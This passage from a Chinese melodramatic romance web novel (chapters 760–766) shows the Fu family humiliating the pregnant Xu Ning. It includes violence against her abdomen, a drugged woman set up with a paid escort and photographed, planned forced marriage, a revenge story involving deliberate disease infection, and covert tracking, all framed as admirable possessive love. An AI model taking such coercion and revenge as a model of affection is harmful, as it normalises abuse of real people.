如果有那个孩子,他就有权利去跟盛景炎争,就算真的争不过,他也是孩子的父亲!许愿曾经为他生过孩子,他们之间将永远有无法割舍的羁绊! 他可以永远……永远纠缠许愿。 可孩子没有了。 因为许宁的狠毒,他的阿愿落胎了,他们的孩子就这么被夺走了生命,他最后的希望也完全破灭。 许愿恨他,可他何尝不恨他自己呢? 他恨他自己愚蠢被许宁这样的毒妇蒙蔽了双眼。 “这个孩子,留不得。” 傅京礼逐步走近她,目光落到她凸起的小腹上,笑容冰冷,带着割裂感的冷意。 他像是想要伸出手去抚摸许宁的小腹,好像这样就能抚摸到曾经那个被夺走生命无法降生的孩子一样。 许宁想躲,可她已经躲到了角落退无可退。 她觉得现在的傅京礼好可怕,好像伸手就能掐断自己的喉咙。 傅京礼宽厚的手掌落到了她的小腹,许宁身体又开始发抖,她的命脉都完全被捏在傅京礼的手中。 不敢动,不敢开口。 他的掌心明明是带着热意的,可她只感到冷意。 许宁的呼吸都是沉重的,突然男人的力气很大的摁压着她的小腹,许宁惨叫一声眼泪瞬间落下来。 疼……真的好疼…… “疼吗。” “可我的阿愿曾经也是这么疼。” “我和阿愿得孩子不能降生,凭什么你可以生下孩子?” 傅京礼的声音带着寒意像是魔鬼的呓语。 许宁惨叫:“你不能这么对我!这是你哥哥的孩子!这是傅守越的孩子!你必须让我把孩子生下来!这是傅守越的孩子!” 她大声叫喊着傅守越的名字。 她知道傅京礼在意傅长海在意傅守越在意傅嘉誉! 这是傅守越的孩子!傅京礼一定不敢轻举妄动,这是她最后的筹码了! 傅守越。 傅京礼垂眸,手却没有收回来,仍然放在她的小腹,确实倏然笑起来,笑容都带着疯感。 “许宁,真不愧是你。” “知道无法嫁给我,所以就将主意打到傅守越身上,你还真是永远不会放弃成为傅太太的念头。” 傅京礼站起身歪头看她,然后打给傅守越。 那边很快接听,他能听到傅守越正在陪着傅嘉誉,傅嘉誉在大叫自己的游戏人物死掉了,还在嚷嚷都因为傅守越接了这个电话。 手机另一头传来傅守越哄人的声音,傅京礼难得眼神温柔了一瞬,然后开口:“许宁在我这里,她说她怀了你的孩子。” 傅守越顿了下:“不是我的。” 傅京礼看了许宁一眼,她脸上都是泪水,嘴里还在呢喃着我怀了傅守越的孩子。 傅京礼淡淡道:“傅守越说孩子不是他的。” “是他的!就是他的!那天晚上的细节我记得很清楚!跟我睡到一起的人就是傅守越!”许宁激动的大叫。 她必须要抓住着救命稻草!绝对不能让傅守越野放弃自己。 傅京礼敛眉对着手机冷声道:“你都听到了,你带着嘉誉一起来。” “傅守越,我和傅长海把嘉誉交给你不是让你这样辜负的。” 傅京礼就这么一个妹妹,当然在意。 傅守越像是叹了口气:“闹这么一出,嘉誉又要骂我了,算了,我过去一趟,这件事总是要解决的,不然以后也要找上门来生个孽种出来惹得嘉誉不高兴。” 傅京礼淡淡的嗯了一声。 他没在看还在不停碎碎念说孩子是傅守越的许宁,他坐在沙发上翻开手机。 他看的是许愿的微博。 许愿的微博里面已经全部都是盛景炎的身影了。 从离婚后就全都是盛景炎。 为她浇花的盛景炎,为她拍下红宝石的盛景炎,为她制造惊喜的盛景炎,清晨为她准备早餐恶盛景炎,还有为她抓了一整屋娃娃的盛景炎。 全部都是盛景炎。 她的世界好像已经完全被盛景炎填满了,再也没有她的身影。 或者说,她从来也没有在网络上发过与他相关的日常。 曾经是她不想发吗?不,是他不许。 他从没有像现在这样后悔自己隐婚。 他知道许愿最近的动态,知道她为了温栩栩去M国,知道她消灭了暗网,知道她暂时接手了黎氏,她永远都是这样优秀。 现在的许愿又更新了一条微博动态。 他马上刷新。 【许愿】:盛先生又在复建了~已经可以站起来很长时间啦,下一次就要盛先生把我抱起来!等他完全恢复,就要盛先生求婚,我要浪漫的求婚,我要盛大的婚礼,盛先生一定会准备好的,他最爱我的。 她还配了图片,图片中是盛景炎在空旷的房间扶着横栏走动,男人身材高大,尽管只是背影却还是能够看出身形伟岸。 她的动态中满满的全部都是对盛景炎的爱意。 她就是这样自信盛景炎对她的事毫无保留的爱。 对,怎么会不自信呢,盛景炎的财产全部都转给了许愿,这是他用金钱权利堆砌的爱啊。 评论区都在羡慕她和盛景炎。 很快盛景炎回复了她的动态。 【盛景炎】:你想要的一切都会有,不是你想要,是我想给。 多简短的一句话,却道出了盛景炎对她的深情。 不是你想要抱他才抱,是因为他想抱。 不是你想要浪漫的求婚和盛大的婚礼他才给,而是他也想要给她最好的一切。 完完全全的双向奔赴。 许愿心里都是盛景炎,盛景炎心里都是许愿,他们眼里好像只能看到彼此。 傅京礼抚摸着自己的心口,密密麻麻的疼痛好像席卷全身,此刻呼吸都会让他难过。 他笑容苦涩的看着这条微博,最终还是点了赞。 第761章 盛景炎和傅京礼的三角恋 傅京礼点赞许愿的微博很快就冲上热搜。 没有人不喜欢看许愿盛景炎和傅京礼的三角恋。 许愿的情感生活是很多人喜欢八卦闲谈的。 许愿的情感生活真的丰富,前夫是傅氏集团掌权人,现在的未婚夫是盛世掌权人盛景炎,而爱慕她的还有姜氏的姜明烨,宋氏的宋观鱼,这些还都是明面上的,背地里不知道有多少双眼睛盯着许愿。 但最多人谈论的还是许愿盛景炎和傅京礼的三角恋。 毕竟一个前任一个现任。 {盛景炎真的对许愿特别好,好到什么程度的,就是他有什么就能给许愿什么,钱和权就不必提了,他甚至给我一种许愿现在让他去死他也能心甘情愿抹脖子的错觉,就好像命都能给许愿,我是真的真的非常磕这一对,真是一路看这两人相爱相知啊,盛景炎断腿的时候那么多人都在嘲讽盛景炎配不上许愿,可许愿还是不离不弃甚至放话医生治不好就要为盛景炎研究义肢,一定要让他站起来。他们对彼此的爱永远拿得出手。} {傅总的爱其实也是拿得出手的,只是好像醒悟的太晚了,他曾经以为自己喜欢的是另一个人,等到错过了许愿才发现自己错过了整个世界,我至今记得全网都在传盛景炎将一切家产留给许愿的时候傅总也说只要许愿能回来,他的一切也会是许愿的。可到底是完了一步,本来跟他最有缘的事许愿,可最后真正跟许愿在一起的人是盛景炎,谈起这些还是有点唏嘘,就是感觉傅总有点可怜。} {亲手放开了自己的爱人,然后还在关注她的生活,大概是那种很酸涩的心理,不想那个男人太优秀却又担心对方对她不够好让她受委屈的感觉,说白了就是太爱了所以至今不能放手。} 傅京礼沉默的看着那些评论,有些苦涩的扯了扯唇角,然后竟然点开了盛景炎的账号。 他现在竟然需要点开盛景炎的账号才能看到许愿的日常。 【盛景炎】:跟许小姐一起去了商场,本来打算买联名的咖啡,许小姐很喜欢的一款联名的玩偶,就是要亲自去,最后拿到完后的许小姐玩嗨了,看了电影夹了很多玩偶,回家后发现联名玩偶被我落在商场了,许小姐很伤心,怒买空了那家店的联名,现在许小姐已经有一整间房的联名玩偶了,小意思~ 背景图是许愿抱着联名玩偶弯着眼睛笑的图片。 傅京礼的指尖触摸着屏幕,好像这样就能触碰到许愿一样。 往下翻,看到盛景炎最新发了条微博动态。 【盛景炎】:很不喜欢胡萝卜和香菜,非常讨厌,极其讨厌,最讨厌,全宇宙最讨厌。不过因为复建太投入受伤了,惹怒了许小姐,晚餐是凉拌香菜胡萝卜加香菜胡萝卜果汁。魔鬼料理,但许小姐还是最可爱。 傅京礼看到这里忍不住笑了笑。 盛景炎是真的很喜欢她,喜欢到好像很小很小的事都会令他心动开心。 他看着都会欢喜,更何况每日能看到许愿的盛景炎呢。 嫉妒又悲伤的心情覆盖了他的大脑,攥紧手机觉得自己好像是在自虐。 本就布满血丝的眼睛此刻更红了。 到底还是……他亲手把爱人弄丢了。 房间里一片寂静,直到房间门被敲响。 来人是傅守越和傅嘉誉,傅嘉誉懒懒散散的嘴里还叼着根棒棒糖,没点千金的样子,一看就是被傅守越宠上天的模样。 “哥,你到底让我和傅守越来干嘛,到底有什么要紧事不能再电话里面说,我还在打电动呢。” 傅嘉誉哼哼,有点不开心。 她甚至都没有发现在角落里面竭力缩小自己存在感的许宁,因为不在乎。 傅京礼开口:“来的路上傅守越没有告诉你原因吗。” 傅嘉誉赶紧看向傅守越,抱着手臂有点凶。 “你说,你瞒着我什么了!” 傅守越有点无奈的揉了把傅嘉誉的头,把她头发都肉乱了,傅嘉誉拍他手臂,被人揽进怀里抱了抱,老实了。 傅京礼敛眉开口解释:“许宁说她怀了傅守越的孩子,我不知道是什么情况,傅守越你应该清楚。” 话音才落,傅嘉誉已经要气绝了。 她真的是到现在才发现房间里还有许宁。 她看向傅守越,傅守越还是那副无奈的模样,完全不心虚。 傅嘉誉当然相信傅守越,因为傅守越绝对不会背叛她。 “怎么回事。”傅嘉誉才问,躲在角落里面的许宁就已经抬起头眼睛发亮的看到傅守越赶紧爬过去。 “傅守越你救救我!我怀了你的孩子!傅京礼他要害我们的孩子!他不许我们的孩子出生!他是魔鬼!你带我走!” 许宁是真的把傅守越当成最后的救命稻草了。 可这话听在傅嘉誉耳朵里却格外刺耳。 不该是说怀了傅守越的孩子还是说傅京礼是魔鬼,没有她爱听的。 傅嘉誉忍着心口的火气,等着傅守越的解释。 傅守越握住她的手放到嘴边亲了亲,像是安抚,看到她并没有生气才缓缓开口:“不久前许宁似乎是当我是跳板,在我的酒里加了点东西,我看她这么激动这么想男人,就在酒吧给她找了个男人。” 平淡的语气说出冰冷的话。 许宁大脑宕机。 “不可能!我明明记得那晚是你!是你!不可能是其他人的!你就是为了傅嘉誉在哄骗我!我的孩子绝对是你的!” 傅守越看她这副癫狂的模样仍然平静。 许宁看他这样的反应心都凉了。 傅守越取出一叠照片甩到她面前,声音冷到:“自己看吧,这才是你孩子的父亲。” 来时的路上他就已经准备好了证据。 许宁的孩子不是他的他一早就知道,一直都备着这些照片,如果许宁不够他还有视频。 他是绝对不可能让傅嘉誉为这种恶心的事情烦心,他爱傅嘉誉所以一定会给足她安全感。 “许宁,那晚的人不是我。” 第762章 你们真是天造地设的一对儿 许宁的身体几乎是颤抖的捧起那些照片,确实是那一晚,她只看到衣服颜色就知道是自己。 她记得很清楚,自己喝的烂醉,晕晕乎乎之际拦住了傅守越的路,她明明记得自己找的是傅守越,印象里还记得傅守越那张带着地爱你冷意的面容。 可看到这张照片,许宁觉得自己的记忆都变得模糊起来。 那晚的人怎么会不是傅守越呢?照片上的男人其实跟傅守越并没有多少相似的地方,傅守越身材高大,不看脸只看身材就知道他有多优越的资本,可照片中的男人像是夜店里面陪酒的男模,身上没有上流贵族的气质,甚至带着很明显的脂粉气。 照片拍的太清楚了,许宁很想说里面的女人不是她,可那些照片有的甚至是怼脸拍的。 近到她和男人脸上的毛孔都好像能看得清。 男人半搂半抱着在昏暗的灯光下亲吻她,而她还一脸痴迷的回抱男人,好像面前的男人是什么能让她豁出一切的爱人。 可许宁自己清楚,他就是个夜店给钱就能做任何事的男模。 许宁惨败着一张脸一张张的翻看照片,从拥抱亲吻到后面褪去衣衫被完全压制的大尺度照片也全在其内。她甚至还不知羞耻的搂住男人的脖子,眼神迷离的像在诱哄。 许宁像是在恍惚,想要思考这个局面要如何解开。 她当时想要利用傅守越的原因是被傅京礼伤透了,所以想靠着怀了傅守越的孩子绑住傅守越,她贪婪,她满腹心机,她算计,可到最后算计到的不是傅守越,而是完全反制她的傅守越。 是啊。 自小被傅长海那样心机深沉的男人养大,傅守越又怎么可能心思单纯? 他走到今天这一步,所作的一切都是充满算计的,她为什么会这样幼稚的认为自己就能算计到傅守越? 恐怕从她布局开始那一刻就已经被傅守越下套了。 他亲眼看着她想无助的困兽到处碰壁,他亲眼看着她将药加进酒杯跟他虚与委蛇,他亲眼看着她自己喝下同样药效的酒瘫软在夜店里。 他知道她在算计一切,他亲眼看着,却不允许她近身,他将她完全当做是在出丑的小丑。 陈晶晶的手在颤抖,颤抖到几乎快拿不稳照片。 她一直觉得自己身份尊贵,长了一张漂亮脸蛋,她从幼时就在做美梦,想着自己有一天能够嫁入豪门,然后真正的跨越阶级,让所有人都记住陈晶晶。 可现实却狠狠地甩了她一耳光,告诉她,她不配。 她想嫁给傅京礼,却被现实教做人,傅京礼宁愿跟在许愿身后,清楚这段后来的爱恋得不到任何结果,却还是要望着许愿,然后将她推远,就好像她完全不配踏入他的世界,或者说不配允许踏入他的世界。 她爱傅京礼,那是完全带着私欲的爱意。 她是为了钱为了权选择傅京礼,最终就是这样轻飘飘的被丢下。 说什么曾经的诺言会娶她,更是没有的事。 他不仅不会娶她还会恨她。 她清楚了自己的身份,知道自己可能会永远抬不起头,所以她在最痛苦的时候毅然决然选择了傅守越。 如果不能跟傅京礼在一起,那就跟傅守越在一起,那也算是嫁入傅家了。 当初不是傅长海和傅守越先找到她要跟她合作的吗? 她跟傅守越才是一条船上的人,他不该嫌弃自己才对。 可陈晶晶太明白,傅守越是被傅嘉誉和傅长海捡回家的,说是傅长海的养子,其实户口都没在傅家,说白了就是傅长海精心为傅嘉誉挑选出来的童养夫。 傅京礼爱着许愿,傅守越爱着傅嘉誉,没人要她。 凭什么? 她就是要用身体给自己换一个未来,所以许宁义无反顾的 选择爬上傅守越的床。 她利用傅氏的商业机密将傅守越约出来,提前在酒里面加了东西,她坐着一夜之后就能怀了傅守越孩子的美梦,甚至想着未来自己会成为傅守越的妻子。 可一切都没有按照她所想的剧本去发展。 傅守越没有喝那杯酒,他像是早就猜到了那杯酒存在的目的。 他脸上带着笑然后亲自将那杯酒赏给了被点到的男模。 他就那样冷着脸给男模签了一张支票,给他的命令就是为她泻火。 她喝了加料的酒不就是需要男人? 为此他特别体贴的叫了男人亲自上门服务。 他算好了后续可能发生的一切,所以才会让人亲自对着包厢内两人纠缠在一起拥抱亲吻全方位跟拍,甚至于如果许宁现在还要死不承认照片中的人是她,那傅守越真的能将清晰的视频取出来在她面前播放。 有照片有视频,许宁觉得自己的脚此刻好像都被完全盯在原地了。 她觉得自己像是困兽,想逃,却又好像完全逃不开。 抬起头对上的就是面前这喜人嘲讽的冰冷恶毒眼光,看她像是在小丑。 “许宁,那晚的男人不是我,是酒店的陪酒公关。”傅守越面无表情的看着瑟瑟发抖此刻像是彻底无法给出任何回应的陈晶晶。,“我为你挑选了一个样貌上乘的,你喜欢吗。” “你不是单身吗,我看你就跟这个男公关很般配。” “既然怀了他的孩子,那就生下来,对方会承认跟你的关系,毕竟一个在夜店陪酒讨生活的男人,跟你这位许家的小姐,自然是要好好攀附的。” 就像许宁当初攀附祁深攀附他那样,是个不折不扣的笑话。 “哪怕现在的许家落败了,可当初苏青莲留给许镇江那么一笔庞大的财产,就算已经败的不剩多少,却也不够你们父女二人下半辈子继续过上奢靡的生活。” “那位男公关当然不会嫌弃你的名声有多臭,他只知道伺候好你就能完全跨越阶级。” “许宁,我从男公关中为你挑选的是其中最温顺懂事的男公关,他会纵容你这样的脾气。” 傅守越像是杀人诛心的评价。 “你们真是天造地设的一对儿。” 第763章 他比你更期待孩子的降生 傅守越就是在嘲讽。 许宁不就是这样做的?为了跨越阶级做下了多少恶心人的丑事,哪怕事迹败露却还要继续纠缠傅京礼,为的就是能够跟傅家有牵扯,最好是彻底嫁进傅家。 那么这个男公关和许宁的想法是完全一致的。 男公关在夜店陪酒赚钱整日赔笑,现在终于来了一位千金小姐,且还这样主动的跟他发生关系,甚至于怀了他的孩子。他又怎么可能放弃这个往上爬的机会。 他绝对会像当初的许宁纠缠傅京礼那样,像是吸血虫,牢牢的吸附在她的身上。 傅守越居高临下的看着面前已经濒临崩溃的许宁。 许宁抱住自己的膝盖,可这样的动作却又触及已经有些凸起的小腹。 肚子里面的孩子不是傅守越的,竟然是一个卑劣的下等人…… 傅守越的羞辱她又怎么可能听不懂吗? 他明明可以勘透一切然后在她彻底失去理智前带她离开夜店,可他不仅没有带她离开,甚至亲手将她推入地狱,甚至拍下一切作为证据。 傅守越为什么去找这样只能整日对着富婆赔笑的男公关? 许宁哭的肩膀都在耸动。 傅守越为什么这样做?她已经勘透了傅守越的险恶用心。 傅守越说的那一句她和男公关天生一对并不是玩笑话,因为在傅守越心里她就是只配跟男公关一起。 因为当初的苏青莲就是这么做的! 许镇江爱苏青莲爱到无法自拔犯了错在她的水里加了东西苏青莲是怎么做的?她微笑的从夜店中请出了夜店中温顺漂亮的舞女为许镇江发泄。 那个舞女,就是许宁的母亲! 二十多年前是许镇江碰了她母亲那样一个恩客众多的母女有了她。 二十多年后,作为他们二人的子嗣,她也做出同样的事情然后跟夜店中的男公关一度春宵,怀下对方的孩子。 哈。 傅守越到底是有多厌恶她才能做出这样狠狠刺痛她心脏的事。 她此刻甚至只是想到都会身体颤抖的地步。 她已经开始反胃,想到那晚那个男公关是怎么在自己身上动作的就忍不住呕意。 谁知道……那个人到底干不干净有过多少男人? 她清清白白的,竟然就这样被一个只能诱哄富婆的男人亲吻毁去清白。 她低头看着自己凸起的小腹,有点微微的硬,月份还小,可能还没成型,完全不知道肚子里的孩子是男是女。 可这种孩子有降生的必要吗?她和一个男公关生下的孩子除了能有一张还算看得过去败的脸蛋还能有什么? 如果生下来的孩子跟自己一样这样贪婪又没用又要怎么办? 她越想越多,想到自己在家是如何忤逆许镇江的,心却渐渐地越来越冷了。 傅守越怎么能这么狠! 许宁抬起头,手死死的摁压在自己的腹部,像是故意要感受到痛感。 她的唇瓣干涸,一双眼睛完全失了神采,丢了魂一般,却又在下一秒凝视他逼视他。 “傅守越……你怎么能这么狠!” 怎么能这么狠,狠到亲眼看着男人侮辱她,狠到用这种手段来羞辱他们许家! 傅守越垂眸,还是那副平静冷淡的模样,他的手随意的握住傅嘉誉修长纤细的手,然后面上弥漫出很轻缓的凉笑。 “为什么认为我狠呢?” “许宁,我不是在帮你吗?” 傅守越撕开她那伪装的掩藏的恶毒的内心,直截了当。 “如果我真的喝了那杯酒,那晚你只会投怀送抱跟我发生感情,然后等我清醒后在我怀里哭哭啼啼说是我强迫你,是我醉酒后不清醒强行占有你,你没有跑是因为你想帮我解决生理需求。” “你多温柔多体贴,为了我能够奉献你的身体。” “你是这样想的不是吗?” 傅守越目光落在傅嘉誉手腕上的碎钻手链上,那是傅守越亲自为傅嘉誉挑选的,手链中还有定位器,是傅守越担心傅嘉誉出事所以特地为她准备的。 傅嘉誉知道真相也乖乖戴着,他内心本来的凉意都因为傅嘉誉的乖巧而多了那么一丝难以察觉的温柔,当然只是对傅嘉誉温柔。 他很轻的扯了扯唇,然后目光重新落到许宁身上,开口的话嘲意愈深。 “你当时就是这样想的,那么我自然也要给你挑选一位能为你奉献出身体的跟你完全相配的男人帮你渡过难关。”傅守越脸上明明没有表情,可许宁就是能从中看出傅守越的恶劣。 “为什么不是我?你猜为什么不是我,当然是因为你不配。” “你只能配这种跟你有同样心思的男人,你们合该是天生一对。” 说到这里,傅守越逼近她,倏地笑了。 “你不是担心傅京礼打掉你的孩子吗?现在他知道了真相,他一定不会再打掉你的孩子。” “他不仅不会打掉你的孩子,还会比你更期待这个孩子的降生,他甚至会为你主动联络孩子的父亲,为你出一笔嫁妆然后给你们举办一场众人皆知的婚礼。” “那么多人都听说过许家那位欺压许愿诬陷许愿的许家二小姐,他们有多少人等着看许宁你的下场呢 。” “你看,我们对你多好,为你挑选了一个跟你身份完全匹配的优质男人,还让你们早早有了孩子,许家这也算是另类的有后了。” “许宁,我和傅京礼为你做了这么多,你可真该说感谢。” 傅守越开口的话是温和的,可吐出的字眼尖锐冰冷,带着绝对的攻击性。 明明毁掉她的人是傅守越,但对方为什么能冠冕堂皇的顶着这样一张儒雅俊美的脸说她不配,说要逼她结婚嫁给一个男公关。 他甚至还要傅京礼为她亲自操办婚宴,操办什么? 让帝城上流圈子的所有人都知道她许宁嫁给了一个身份下作一辈子上不得台面还服务过很多富家千金的男公关吗! 怎么能这么狠,怎么能这么残忍! 傅守越就是个魔鬼! 许宁捂着自己的小腹,突然目光转到傅嘉誉的身上,像是真的抓住了最后的救命稻草。 第764章 伤害任何人都不会伤害她 傅嘉誉也是女人,她能理解自己的,她一定能理解自己的对不对! 许宁眼底闪烁着希望的微光。 她几乎是想要爬到傅嘉誉面前,却被傅守越拦在身前,眼底的冰冷根本藏也不藏。 “你还不配碰嘉誉。” 是的,在傅守越严重,许宁这样心狠手辣性情凉薄的女人不配靠近傅嘉誉,只是靠近都会让他觉得傅嘉誉受了委屈。 许宁现在真的很怕他,听到他的声音,声音都带了点干涩之意。 她抬起头,眼底一片猩红的望着傅嘉誉,她不敢上前,就窝在原地,带着恳求和绝望,像是希望傅嘉誉作为女性来帮她最后一把。 “傅小姐,你都听到傅守越说了什么,他就是个彻头彻尾的魔鬼疯子!” “他心里全部都是算计,他今天可以算计我明天就可以算计你。他今天算计我跟其他男人发生关系,明天就能为了傅家的家产设计你跟其他男人出轨,这样的男人最可怕的地方是你根本不知道是他自己下的套!” “傅小姐,你离他远一些!你救救我!求你救救我!” 许宁眼泪扑簌簌的往下落,可她因为怀了孩子,且体质原因整个人肿了一圈,脸都有些水肿,这样不紧不漂亮甚至有些辣眼。 傅嘉誉对许宁本就是非常厌恶的,现在看她当着她的面说三道四的告状说傅守越的不是傅嘉誉真的是非常想笑。 她和傅守越从小一起长大,傅守越是个什么样子的人难道她不必许宁更清楚? 轮得到许宁在这里挑拨离间? “许宁,你是怎么有脸开口的。” 傅嘉誉嘲讽的时候傅守越抓住她的手放到嘴边亲了亲,傅嘉誉被他亲的手背有点酥麻感,她有些娇嗔的瞪了他一眼,却对上傅守越含笑的眼,这才拽住傅守越的衣领将人拽到自己面前凑过去亲了亲他的唇,这才将目光重新落到许宁的身上。 “我和傅守越从小一起长大,他本人就是我亲自带回家的。” “我当然知道傅守越不是传统意义上的好人,他心理阴暗是个占有欲强病娇阴暗的男人,他将一切算计在内,走一步算百步。” “从我幼时读书时我就知道了。” 念书的时候曾有人不知道傅嘉誉的身份故意欺负傅嘉誉拽她的马尾,往她的书桌里面丢蜈蚣和被拔了牙的蛇。 傅嘉誉吓得眼里面都是眼泪整个人都吓晕了,醒来后就看到傅家人都在他身边,傅京礼要为他出头将人狠狠揍一顿,可傅守越说他来处理。 傅守越是怎么处理的呢? 他知道那个少年爱好美色,于是他搜罗了患传染病的女人故意出现在他面前跟他发生关系,那个男人就这么染了病。可这就算完了吗? 当然不够。 他还暗中设计让那个女人带着他进了赌场,大把大把的下注欠下了巨额欠款,然后被逼没办法还钱后偷了他父母公司的公章私自转走了公司的款项还钱。 因为他这一举动,他的父母直接被举报,税务局还有警方都来检查,将他的父母带走。 他在暗中将他父母做过的所有违法犯罪的事情早就收集好了,趁着这个时间让那些受害者举着横幅将事情闹大。 口碑毁了,再加上违法犯罪,他的父母被判了十三年。 他呢?因为赌钱后挪用公款被查出来只能用家中的钱去填那窟窿,家族剩下的钱所剩无几,可这时候他才终于发现自己染了那种滥交的病,他整个人都毁了。 后来傅守越没有再主动出手,是他自己将他自己逼到了绝路碰了禁品。 傅守越一直记得傅嘉誉是如何被这个人吓晕吓哭的,他记得傅嘉誉扑进自己怀里说蜈蚣好可怕从自己手臂上爬过去那一块皮肤都烂掉了,她又疼又痒,又想到蛇缠在手臂那种冰冷黏腻的触感,她不停的哭,因为这件事几乎一整月都没有睡一个好觉。 他当然会报复,会惨烈的报复。 如果动他,他或许笑笑就过去恶劣,甚至不会放到心上。 但动傅嘉誉就是不行。 在那个男人碰了禁品的当晚,又一次飘飘欲仙的仿佛出现了幻觉,傅守越安排人在他冰冷的出租屋里倒了整整一麻袋被拔掉毒牙的蛇,以及蜈蚣和蝎子,甚至黑白有交不上名字的长脚毛毛虫,那些恶心的丑陋的看一眼就会做噩梦的虫子就被倒在他的床上。 他正躺着的床上。 男人半夜是被疼醒氧醒的,甚至还能感觉到那滑腻的东西在自己身上蠕动,还有那种像是有虫子在身上到处乱爬的感觉,好像在啃噬他的皮肤,又疼又麻又氧,还有几处火辣辣的疼着,像是被什么东西蜇伤了。 他先前飘飘欲仙的太忘我,根本没有反应到自己身体的不对劲,等清醒后身上爬满了虫子,脖子上海缠着两条手腕粗的青色的蛇。 男人惨叫的从床上跳下去,却发现地上也都是这些虫子。 他觉得自己浑身发氧好像全身上下都是这些鬼东西。 他刺耳的尖叫,直到这一刻才完完全全的体会到傅嘉誉当时的痛苦。 他半夜穿上衣服逃出去,因为吸食禁品被人举报,浑身疼痛的被抓进了警局被关起来。 他当时整个人已经魔怔了,不停地说这是傅嘉誉的报复,一定是傅家人做的,可没人会信。 就算他说的是真的,也没人会去管这件事。 傅守越早就已经暗处打点好了,绝不会深入调查这件事。 他只有被折辱的份儿。 傅守越的狠自这件事开始傅嘉誉就知道了。 她不是蠢货,在那之后听到了对方的结局,父母入狱,公司易主,家族落魄,而他浑身脏病海吸食禁品被扣押。 这样一环扣一环,像是要逼死他。 多狠毒的手段。 傅嘉誉是聪明的,她一直都记得傅守越说过不会让她白白被欺负,他一定会帮她出这口气。 所以她从那时就知道自己的哥哥是个阴暗可怕的人。 可她真的怕傅守越骂? 她当然不怕,因为傅守越会伤害任何人都不会伤害她。 第765章 是许愿救了你 傅嘉誉是被傅守越看着长大的,又怎么可能会不了解傅守越不知道他真正的本性? 他从来都不会主动惹事,惹到他头上的他有时甚至理都懒得理。 但相反的,那些敢欺负傅守越的人傅嘉誉也同样不会放过,比起自己,他们更在乎对方。 她知道傅守越阴暗腹黑病娇,可那又怎样? 他所有的阴暗面都不会在她面前展露,在她面前,他永远都是那个温柔体贴百依百顺的爱人。 以前是哥哥,现在是爱人。 所以她绝对不会害怕傅守越。 傅嘉誉眉眼之间都带着点对许宁嘲讽的笑,她走近许宁,然后弯下腰,这样近的距离对上许宁那双惊恐却又害怕的眼睛。 “我知道他是什么样的人,那又怎么样呢?我爱的就是他这样的人。” “许宁,你到底为什么觉得我会同情你呢?” 傅嘉誉眉眼弯弯:“你难道真的忘记了我有多厌恶小三情妇吗?真的忘记了当初是谁一杯水泼到你脸上奚落你嘲讽你吗?你忘了我却还没忘。” 傅嘉誉吐出冰冷的字眼:“你的母亲只是夜店的舞女,是小三,而你更是继承了你母亲的衣钵,你赶走了阿愿抢走了我大哥,你也知道我曾经和阿愿关系有多好,可你呢,又是设计又是陷害又是肆无忌惮的欺凌,现在更是把主意打到我爱神的身上,想要抢我的男人,所以你怎么有脸在我面前求我救你?” 傅嘉誉笑靥如花,明明是笑着,却就是能让许宁感受到冷意。 “我和傅守越来的时候你不是扑过来求他救救你肚子里的孩子吗,现在这样你不开心吗?你的孩子可以活的好好的,我们不是救你了?” “你这样的人啊,一切不都是你自找的吗?刚巧,你和那个男人是绝配。” 傅嘉誉是真这么认为的,在她眼里许宁从来都是上不得台面的,所以她认为两人是绝配。 许宁痛苦又绝望。 她最初想要留下那个孩子是因为她以为那是傅守越的孩子,如果是个废物的孩子为什么要生下来!她的肚子里不可以怀这种人的孩子! 她不要!她不许! 许宁痛苦的用手捶打着自己的小腹,被候在一旁的保镖彻底制住。 “我不要生这个孩子!傅京礼!我不要!你们救救我!让我打掉这个孩子!” 许宁还在大声吵闹,傅京礼眸光沉沉的看着她,眼底都是冷意。 傅守越突然淡淡开口:“她这么肆无忌惮想攀附你我,自命清高的想要跨越阶级,无非是因为没有结婚,既然已经跟那个南水有了孩子,奉子成婚倒也是美事了。” 傅守越就用这样平淡的语气说出残忍的话来。 怀上那种男人的孩子许宁都会觉得恶心,现在竟然还要让她嫁给那种男人!她不可以!她绝对不能接受! 许宁眼泪横流的求救,几乎是恳求傅守越放过她。 傅守越冷漠的看着她:“你想要一个男人,我就给你一个男人,难道没有随了你的意?” 许宁趴伏在地上,她觉得自己涕泪恒流像是一条可以随意被人碾死的可怜虫。 没有人同情她。 傅京礼不会帮她了,傅嘉誉更不会同情她,傅守越只会将她推入更深的深渊。 许宁几乎已经可以看到自己未来会有多悲惨。 她突然捂着自己的肚子哈哈的笑起来。 “你们所有人都觉得我不是东西,都认为我做错了事对吗?可你们自己又是什么好东西!” “傅守越,傅家人将你捡回家,你和傅嘉誉是什么关系?就算不在一个户口门上你们也是一起长大的!你是她的哥哥,最后却爱上自己的妹妹!你跟傅嘉誉又是什么好东西!龌龊下贱!” “傅嘉誉!你自诩是傅家千金小姐,你见过那么多贵族不还是挑了个曾经被你捡回家的乞丐!” “你们以为那些人背地里不说你们是为了什么!因为你们是傅家人!如果你们不是傅家人所有人都会嘲讽你们!你傅嘉誉还凭什么像是小公主一样被所有人娇宠着!全因为你投了一个好胎!” 许宁像是已经彻底知道自己没救了,她肩膀耸动,怒骂后看想傅京礼,死死的盯着他,然后带着明显嘲讽的笑意开口:“你不是一直问我是谁救了你吗。” 傅京礼终于再一次将目光放到许宁身上。 许宁咯咯的笑着。 “你想知道是谁救了你吗?” “反正你们也不肯放过我了,那我就把真相告诉你。” 许宁眸光中都是凉意,她望着傅京礼:“怎么可能会是我救了你呢?” “那天许镇江去看望我,我早就被许镇江带走了,而且就算我真的在那附近,我看到你这种被拐卖快要死掉的男孩我也绝对不会救的,我只会跑的越远越好,因为我会担心你将厄运带给我。” “就像你知道的那样,我自私自利,我怎么可能主动去救其它人。” 许宁嗤笑一声:“你猜是谁救了你。” “你绝对想不到会是谁救了你。”许宁又在笑,笑的她感觉到自己的肚子好像都在一抽抽的疼着。 “是许愿救了你。” 她说出口了,像是带着复仇的快感快速的开口。 “许镇江去见我后就带我离开那里,独独留下了许愿,巧的是我母亲也想让人将许愿绑走,所以许愿救你的时候她自己才刚逃出来。” “很是可惜,那时候没有让人将她拐走卖进大山里!那群没用的废物,如果许愿早早被困在大山里,也不会有现在这么多烂事!” 许宁望着傅京礼:“我不知道许愿为什么会记你记了这么多年,不过她当然提到自己救了个小哥哥,许镇江当然不在意她救了谁,当天就带许愿回到了帝城。” “没人在意她救了谁,倒是许愿记你记了那么多年,也不知道你对她说了什么,能记得那么清楚,若不是你一直找她,还让我知道了那么清晰的信息,我也不会找到许愿抢了她的东西。” 第766章 他也别想得到许愿 